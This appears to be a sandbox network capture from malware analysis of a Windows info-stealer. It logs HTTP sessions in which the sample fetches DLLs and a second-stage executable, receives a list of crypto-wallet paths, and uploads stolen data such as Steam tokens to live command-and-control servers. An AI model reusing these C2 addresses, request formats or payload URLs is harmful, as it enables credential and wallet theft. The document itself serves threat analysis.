Nov 12, 2024 06:23:37.445633888 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:37.721012115 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 06:23:37.990320921 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:38.265726089 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 06:23:39.487270117 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:23:40.258618116 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:40.409701109 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="message"wallets------DHCBGDHIEBFHCBFHDHDH--
Nov 12, 2024 06:23:40.688813925 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 06:23:40.694740057 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"files------BGIDBKKKKKFBGDGDHIDB--
Nov 12, 2024 06:23:40.973102093 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:40.994477987 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file"------JEGHCBAFBFHIIECBKFCG--
Nov 12, 2024 06:23:41.763154030 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:41.805233002 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="message"ybncbhylepme------EHCGIJDHDGDBGDGCGCFH--
Nov 12, 2024 06:23:42.083009005 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	54620	185.215.113.16	80	4276	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:23:42.097582102 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 06:23:42.992908001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:23:42 GMT Content-Type: application/octet-stream Content-Length: 3194368 Last-Modified: Tue, 12 Nov 2024 05:07:35 GMT Connection: keep-alive ETag: "6732e297-30be00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@1C1@Wk0`0 @.rsrc@.idata @vosxtpoy**@nqcvauwq00@.taggant00"0@
Nov 12, 2024 06:23:42.993004084 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:23:42.993009090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:23:42.993021011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:23:42.993027925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:23:42.993033886 CET	636	IN	Data Raw: bc d9 e0 fe 75 58 e1 e6 32 58 dc 13 be bf 2c 7f c6 99 25 e7 52 49 39 99 89 3d f3 70 8b 15 7b d7 bc d9 e0 fe 15 58 e1 e6 32 58 dc 13 be bf 1c 7f 06 99 25 e7 52 71 39 99 89 3d d3 70 8b 15 7b 77 bd d9 e0 fe 35 58 e1 e6 32 58 dc 13 be bf 1c 7f 76 99 Data Ascii: uX2X,%RI9=p{X2X%Rq9=p{w5X2Xv%R=p{X2XHb%R3=p{X2X%R=sp{WW2X%R)7=Sp{W2X%R5=3p{UW2X~%
Nov 12, 2024 06:23:42.993046999 CET	1236	IN	Data Raw: 8b 15 7b b7 bb d9 e0 fe f5 56 e1 e6 32 58 dc 13 be bf e4 7e 6e 9a 25 e7 52 79 3e 99 89 3d 73 72 8b 15 7b 57 b4 d9 e0 fe 95 55 e1 e6 32 58 dc 13 be bf 08 7f 66 9a 25 e7 52 29 3e 99 89 3d 53 72 8b 15 7b f7 b4 d9 e0 fe b5 55 e1 e6 32 58 dc 13 be bf Data Ascii: {V2X~n%Ry>=sr{WU2Xf%R)>=Sr{U2XJ%R>=3r{UU2X%Rq<=r{7uU2X~%R2=}{U2X~%R7=}{w5U2X~%R*=}{U2X
Nov 12, 2024 06:23:42.993051052 CET	212	IN	Data Raw: 62 9c 25 e7 52 49 3c 99 89 3d b3 79 8b 15 7b 17 aa d9 e0 fe d5 51 e1 e6 32 58 dc 13 be bf 18 7f 4e 9c 25 e7 52 31 32 99 89 3d 93 79 8b 15 7b b7 aa d9 e0 fe f5 51 e1 e6 32 58 dc 13 be bf 18 7f 42 9c 25 e7 52 89 30 99 89 3d 73 79 8b 15 7b 57 ab d9 Data Ascii: b%RI<=y{Q2XN%R12=y{Q2XB%R0=sy{WP2X%R4=Sy{P2X%R3=3y{UP2X%R5=y{7uP2X~%R*=x{
Nov 12, 2024 06:23:42.993078947 CET	1236	IN	Data Raw: 15 50 e1 e6 32 58 dc 13 be bf e4 7e fa 9d 25 e7 52 e9 37 99 89 3d d3 78 8b 15 7b 77 a5 d9 e0 fe 35 50 e1 e6 32 58 dc 13 be bf 20 7f f2 9d 25 e7 52 51 3d 99 89 3d b3 78 8b 15 7b 17 a5 d9 e0 fe d5 50 e1 e6 32 58 dc 13 be bf 18 7f 2e 9d 25 e7 52 d9 Data Ascii: P2X~%R7=x{w5P2X %RQ==x{P2X.%R0=x{P2X\"%Rq3=sx{WO2X,R%R?=Sx{O2X%RA1=3x{UO2X%R0=x{7uO2X%R3
Nov 12, 2024 06:23:42.993087053 CET	1236	IN	Data Raw: 89 3d 13 84 8a 15 7b 37 9b d9 e0 fe 75 4b e1 e6 32 58 dc 13 be bf 08 7f 52 61 25 e7 52 01 37 99 89 3d f3 87 8a 15 7b d7 9b d9 e0 fe 15 4b e1 e6 32 58 dc 13 be bf 18 7f b6 61 25 e7 52 d9 3d 99 89 3d d3 87 8a 15 7b 77 94 d9 e0 fe 35 4b e1 e6 32 58 Data Ascii: ={7uK2XRa%R7={K2Xa%R=={w5K2Xa%Ra0={K2X0WD!WD!WD! a%R<=C{J2X#b%R)0=#{7EJ2X+WD!
Nov 12, 2024 06:23:42.998331070 CET	1236	IN	Data Raw: be aa 9f f3 05 01 1c 50 3f 09 f8 b5 88 14 e3 7f 86 15 25 e7 7e da f4 97 a1 bd 0a da 89 21 dc 13 be aa 9f f3 30 60 f1 d6 30 55 9d 99 85 a5 db d9 75 1a 24 e7 27 e4 ca e7 7c da 18 5a 4a 19 53 ff 9e e8 e7 e6 04 59 18 1e 80 89 1a 98 89 60 da 81 2e 57 Data Ascii: P?%~!0`0Uu$'\|ZJSY`.W!!!0`0Uu$'\|ZJS^YQ`.W!!!KZ}\Jk`$Rh`RB*BD!!%!!DZZ`U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	54671	185.215.113.206	80	4276	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:23:49.491631031 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDAAKJJDAAKFHJKJKFC--
Nov 12, 2024 06:23:51.167332888 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:51.168072939 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	54752	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:05.104613066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:06.006794930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	54766	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
